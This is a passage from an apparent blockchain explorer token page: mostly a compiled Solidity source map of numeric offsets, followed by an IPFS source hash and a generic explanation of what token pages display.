::-;6315:9;:13;6325:2;6315:13;;;;;;;;;;;;;;;:50;;;;6392:2;6377:38;;6386:4;6377:38;;;6405:9;6396:6;:18;;;;:::i;:::-;6377:38;;;;;;:::i;:::-;;;;;;;;5552:869;5482:939;;;:::o;2658:113::-;2716:7;2744:1;2739;:6;;2732:14;;;;:::i;:::-;;2764:1;2760;:5;;;;:::i;:::-;2753:12;;2658:113;;;;:::o;7349:92::-;7410:7;:5;:7::i;:::-;7402:25;;:33;7428:6;7402:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7349:92;:::o;2170:102::-;2240:12;:10;:12::i;:::-;2230:22;;:6;;;;;;;;;;:22;;;2222:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;2170:102::o;7137:206::-;7210:1;7194:13;7204:2;7194:9;:13::i;:::-;:17;7191:146;;;7227:11;;;;;;;;;;;7222:108;;7251:21;7262:9;;7251:10;:21::i;:::-;7222:108;;;7299:21;7310:9;;7299:10;:21::i;:::-;7222:108;7191:146;7137:206;:::o;7022:109::-;7095:4;7081:11;:18;7077:49;;;7110:8;;;7077:49;7022:109;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:60::-;3522:3;3543:5;3536:12;;3494:60;;;:::o;3560:142::-;3610:9;3643:53;3661:34;3670:24;3688:5;3670:24;:::i;:::-;3661:34;:::i;:::-;3643:53;:::i;:::-;3630:66;;3560:142;;;:::o;3708:126::-;3758:9;3791:37;3822:5;3791:37;:::i;:::-;3778:50;;3708:126;;;:::o;3840:152::-;3916:9;3949:37;3980:5;3949:37;:::i;:::-;3936:50;;3840:152;;;:::o;3998:183::-;4111:63;4168:5;4111:63;:::i;:::-;4106:3;4099:76;3998:183;;:::o;4187:274::-;4306:4;4344:2;4333:9;4329:18;4321:26;;4357:97;4451:1;4440:9;4436:17;4427:6;4357:97;:::i;:::-;4187:274;;;;:::o;4467:118::-;4554:24;4572:5;4554:24;:::i;:::-;4549:3;4542:37;4467:118;;:::o;4591:222::-;4684:4;4722:2;4711:9;4707:18;4699:26;;4735:71;4803:1;4792:9;4788:17;4779:6;4735:71;:::i;:::-;4591:222;;;;:::o;4819:619::-;4896:6;4904;4912;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;5214:2;5240:53;5285:7;5276:6;5265:9;5261:22;5240:53;:::i;:::-;5230:63;;5185:118;5342:2;5368:53;5413:7;5404:6;5393:9;5389:22;5368:53;:::i;:::-;5358:63;;5313:118;4819:619;;;;;:::o;5444:86::-;5479:7;5519:4;5512:5;5508:16;5497:27;;5444:86;;;:::o;5536:112::-;5619:22;5635:5;5619:22;:::i;:::-;5614:3;5607:35;5536:112;;:::o;5654:214::-;5743:4;5781:2;5770:9;5766:18;5758:26;;5794:67;5858:1;5847:9;5843:17;5834:6;5794:67;:::i;:::-;5654:214;;;;:::o;5874:329::-;5933:6;5982:2;5970:9;5961:7;5957:23;5953:32;5950:119;;;5988:79;;:::i;:::-;5950:119;6108:1;6133:53;6178:7;6169:6;6158:9;6154:22;6133:53;:::i;:::-;6123:63;;6079:117;5874:329;;;;:::o;6209:118::-;6296:24;6314:5;6296:24;:::i;:::-;6291:3;6284:37;6209:118;;:::o;6333:222::-;6426:4;6464:2;6453:9;6449:18;6441:26;;6477:71;6545:1;6534:9;6530:17;6521:6;6477:71;:::i;:::-;6333:222;;;;:::o;6561:117::-;6670:1;6667;6660:12;6684:117;6793:1;6790;6783:12;6807:117;6916:1;6913;6906:12;6947:568;7020:8;7030:6;7080:3;7073:4;7065:6;7061:17;7057:27;7047:122;;7088:79;;:::i;:::-;7047:122;7201:6;7188:20;7178:30;;7231:18;7223:6;7220:30;7217:117;;;7253:79;;:::i;:::-;7217:117;7367:4;7359:6;7355:17;7343:29;;7421:3;7413:4;7405:6;7401:17;7391:8;7387:32;7384:41;7381:128;;;7428:79;;:::i;:::-;7381:128;6947:568;;;;;:::o;7538:::-;7611:8;7621:6;7671:3;7664:4;7656:6;7652:17;7648:27;7638:122;;7679:79;;:::i;:::-;7638:122;7792:6;7779:20;7769:30;;7822:18;7814:6;7811:30;7808:117;;;7844:79;;:::i;:::-;7808:117;7958:4;7950:6;7946:17;7934:29;;8012:3;8004:4;7996:6;7992:17;7982:8;7978:32;7975:41;7972:128;;;8019:79;;:::i;:::-;7972:128;7538:568;;;;;:::o;8112:1079::-;8243:6;8251;8259;8267;8275;8324:2;8312:9;8303:7;8299:23;8295:32;8292:119;;;8330:79;;:::i;:::-;8292:119;8450:1;8475:53;8520:7;8511:6;8500:9;8496:22;8475:53;:::i;:::-;8465:63;;8421:117;8605:2;8594:9;8590:18;8577:32;8636:18;8628:6;8625:30;8622:117;;;8658:79;;:::i;:::-;8622:117;8771:80;8843:7;8834:6;8823:9;8819:22;8771:80;:::i;:::-;8753:98;;;;8548:313;8928:2;8917:9;8913:18;8900:32;8959:18;8951:6;8948:30;8945:117;;;8981:79;;:::i;:::-;8945:117;9094:80;9166:7;9157:6;9146:9;9142:22;9094:80;:::i;:::-;9076:98;;;;8871:313;8112:1079;;;;;;;;:::o;9197:474::-;9265:6;9273;9322:2;9310:9;9301:7;9297:23;9293:32;9290:119;;;9328:79;;:::i;:::-;9290:119;9448:1;9473:53;9518:7;9509:6;9498:9;9494:22;9473:53;:::i;:::-;9463:63;;9419:117;9575:2;9601:53;9646:7;9637:6;9626:9;9622:22;9601:53;:::i;:::-;9591:63;;9546:118;9197:474;;;;;:::o;9677:180::-;9725:77;9722:1;9715:88;9822:4;9819:1;9812:15;9846:4;9843:1;9836:15;9863:102;9905:8;9952:5;9949:1;9945:13;9924:34;;9863:102;;;:::o;9971:848::-;10032:5;10039:4;10063:6;10054:15;;10087:5;10078:14;;10101:712;10122:1;10112:8;10109:15;10101:712;;;10217:4;10212:3;10208:14;10202:4;10199:24;10196:50;;;10226:18;;:::i;:::-;10196:50;10276:1;10266:8;10262:16;10259:451;;;10691:4;10684:5;10680:16;10671:25;;10259:451;10741:4;10735;10731:15;10723:23;;10771:32;10794:8;10771:32;:::i;:::-;10759:44;;10101:712;;;9971:848;;;;;;;:::o;10825:1073::-;10879:5;11070:8;11060:40;;11091:1;11082:10;;11093:5;;11060:40;11119:4;11109:36;;11136:1;11127:10;;11138:5;;11109:36;11205:4;11253:1;11248:27;;;;11289:1;11284:191;;;;11198:277;;11248:27;11266:1;11257:10;;11268:5;;;11284:191;11329:3;11319:8;11316:17;11313:43;;;11336:18;;:::i;:::-;11313:43;11385:8;11382:1;11378:16;11369:25;;11420:3;11413:5;11410:14;11407:40;;;11427:18;;:::i;:::-;11407:40;11460:5;;;11198:277;;11584:2;11574:8;11571:16;11565:3;11559:4;11556:13;11552:36;11534:2;11524:8;11521:16;11516:2;11510:4;11507:12;11503:35;11487:111;11484:246;;;11640:8;11634:4;11630:19;11621:28;;11675:3;11668:5;11665:14;11662:40;;;11682:18;;:::i;:::-;11662:40;11715:5;;11484:246;11755:42;11793:3;11783:8;11777:4;11774:1;11755:42;:::i;:::-;11740:57;;;;11829:4;11824:3;11820:14;11813:5;11810:25;11807:51;;;11838:18;;:::i;:::-;11807:51;11887:4;11880:5;11876:16;11867:25;;10825:1073;;;;;;:::o;11904:281::-;11962:5;11986:23;12004:4;11986:23;:::i;:::-;11978:31;;12030:25;12046:8;12030:25;:::i;:::-;12018:37;;12074:104;12111:66;12101:8;12095:4;12074:104;:::i;:::-;12065:113;;11904:281;;;;:::o;12191:348::-;12231:7;12254:20;12272:1;12254:20;:::i;:::-;12249:25;;12288:20;12306:1;12288:20;:::i;:::-;12283:25;;12476:1;12408:66;12404:74;12401:1;12398:81;12393:1;12386:9;12379:17;12375:105;12372:131;;;12483:18;;:::i;:::-;12372:131;12531:1;12528;12524:9;12513:20;;12191:348;;;;:::o;12545:180::-;12593:77;12590:1;12583:88;12690:4;12687:1;12680:15;12714:4;12711:1;12704:15;12731:233;12770:3;12793:24;12811:5;12793:24;:::i;:::-;12784:33;;12839:66;12832:5;12829:77;12826:103;;;12909:18;;:::i;:::-;12826:103;12956:1;12949:5;12945:13;12938:20;;12731:233;;;:::o;12970:180::-;13018:77;13015:1;13008:88;13115:4;13112:1;13105:15;13139:4;13136:1;13129:15;13156:185;13196:1;13213:20;13231:1;13213:20;:::i;:::-;13208:25;;13247:20;13265:1;13247:20;:::i;:::-;13242:25;;13286:1;13276:35;;13291:18;;:::i;:::-;13276:35;13333:1;13330;13326:9;13321:14;;13156:185;;;;:::o;13347:180::-;13395:77;13392:1;13385:88;13492:4;13489:1;13482:15;13516:4;13513:1;13506:15;13533:176;13565:1;13582:20;13600:1;13582:20;:::i;:::-;13577:25;;13616:20;13634:1;13616:20;:::i;:::-;13611:25;;13655:1;13645:35;;13660:18;;:::i;:::-;13645:35;13701:1;13698;13694:9;13689:14;;13533:176;;;;:::o;13715:305::-;13755:3;13774:20;13792:1;13774:20;:::i;:::-;13769:25;;13808:20;13826:1;13808:20;:::i;:::-;13803:25;;13962:1;13894:66;13890:74;13887:1;13884:81;13881:107;;;13968:18;;:::i;:::-;13881:107;14012:1;14009;14005:9;13998:16;;13715:305;;;;:::o;14026:223::-;14166:34;14162:1;14154:6;14150:14;14143:58;14235:6;14230:2;14222:6;14218:15;14211:31;14026:223;:::o;14255:366::-;14397:3;14418:67;14482:2;14477:3;14418:67;:::i;:::-;14411:74;;14494:93;14583:3;14494:93;:::i;:::-;14612:2;14607:3;14603:12;14596:19;;14255:366;;;:::o;14627:419::-;14793:4;14831:2;14820:9;14816:18;14808:26;;14880:9;14874:4;14870:20;14866:1;14855:9;14851:17;14844:47;14908:131;15034:4;14908:131;:::i;:::-;14900:139;;14627:419;;;:::o;15052:221::-;15192:34;15188:1;15180:6;15176:14;15169:58;15261:4;15256:2;15248:6;15244:15;15237:29;15052:221;:::o;15279:366::-;15421:3;15442:67;15506:2;15501:3;15442:67;:::i;:::-;15435:74;;15518:93;15607:3;15518:93;:::i;:::-;15636:2;15631:3;15627:12;15620:19;;15279:366;;;:::o;15651:419::-;15817:4;15855:2;15844:9;15840:18;15832:26;;15904:9;15898:4;15894:20;15890:1;15879:9;15875:17;15868:47;15932:131;16058:4;15932:131;:::i;:::-;15924:139;;15651:419;;;:::o;16076:224::-;16216:34;16212:1;16204:6;16200:14;16193:58;16285:7;16280:2;16272:6;16268:15;16261:32;16076:224;:::o;16306:366::-;16448:3;16469:67;16533:2;16528:3;16469:67;:::i;:::-;16462:74;;16545:93;16634:3;16545:93;:::i;:::-;16663:2;16658:3;16654:12;16647:19;;16306:366;;;:::o;16678:419::-;16844:4;16882:2;16871:9;16867:18;16859:26;;16931:9;16925:4;16921:20;16917:1;16906:9;16902:17;16895:47;16959:131;17085:4;16959:131;:::i;:::-;16951:139;;16678:419;;;:::o;17103:222::-;17243:34;17239:1;17231:6;17227:14;17220:58;17312:5;17307:2;17299:6;17295:15;17288:30;17103:222;:::o;17331:366::-;17473:3;17494:67;17558:2;17553:3;17494:67;:::i;:::-;17487:74;;17570:93;17659:3;17570:93;:::i;:::-;17688:2;17683:3;17679:12;17672:19;;17331:366;;;:::o;17703:419::-;17869:4;17907:2;17896:9;17892:18;17884:26;;17956:9;17950:4;17946:20;17942:1;17931:9;17927:17;17920:47;17984:131;18110:4;17984:131;:::i;:::-;17976:139;;17703:419;;;:::o;18128:225::-;18268:34;18264:1;18256:6;18252:14;18245:58;18337:8;18332:2;18324:6;18320:15;18313:33;18128:225;:::o;18359:366::-;18501:3;18522:67;18586:2;18581:3;18522:67;:::i;:::-;18515:74;;18598:93;18687:3;18598:93;:::i;:::-;18716:2;18711:3;18707:12;18700:19;;18359:366;;;:::o;18731:419::-;18897:4;18935:2;18924:9;18920:18;18912:26;;18984:9;18978:4;18974:20;18970:1;18959:9;18955:17;18948:47;19012:131;19138:4;19012:131;:::i;:::-;19004:139;;18731:419;;;:::o;19156:179::-;19296:31;19292:1;19284:6;19280:14;19273:55;19156:179;:::o;19341:366::-;19483:3;19504:67;19568:2;19563:3;19504:67;:::i;:::-;19497:74;;19580:93;19669:3;19580:93;:::i;:::-;19698:2;19693:3;19689:12;19682:19;;19341:366;;;:::o;19713:419::-;19879:4;19917:2;19906:9;19902:18;19894:26;;19966:9;19960:4;19956:20;19952:1;19941:9;19937:17;19930:47;19994:131;20120:4;19994:131;:::i;:::-;19986:139;;19713:419;;;:::o;20138:191::-;20178:4;20198:20;20216:1;20198:20;:::i;:::-;20193:25;;20232:20;20250:1;20232:20;:::i;:::-;20227:25;;20271:1;20268;20265:8;20262:34;;;20276:18;;:::i;:::-;20262:34;20321:1;20318;20314:9;20306:17;;20138:191;;;;:::o;20335:159::-;20475:11;20471:1;20463:6;20459:14;20452:35;20335:159;:::o;20500:365::-;20642:3;20663:66;20727:1;20722:3;20663:66;:::i;:::-;20656:73;;20738:93;20827:3;20738:93;:::i;:::-;20856:2;20851:3;20847:12;20840:19;;20500:365;;;:::o;20871:419::-;21037:4;21075:2;21064:9;21060:18;21052:26;;21124:9;21118:4;21114:20;21110:1;21099:9;21095:17;21088:47;21152:131;21278:4;21152:131;:::i;:::-;21144:139;;20871:419;;;:::o

Swarm Source

ipfs://c9d25de500a316c5e954207fdcb16ae9a41c9e73ee3a0df0e6d3adc7c790dcf1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.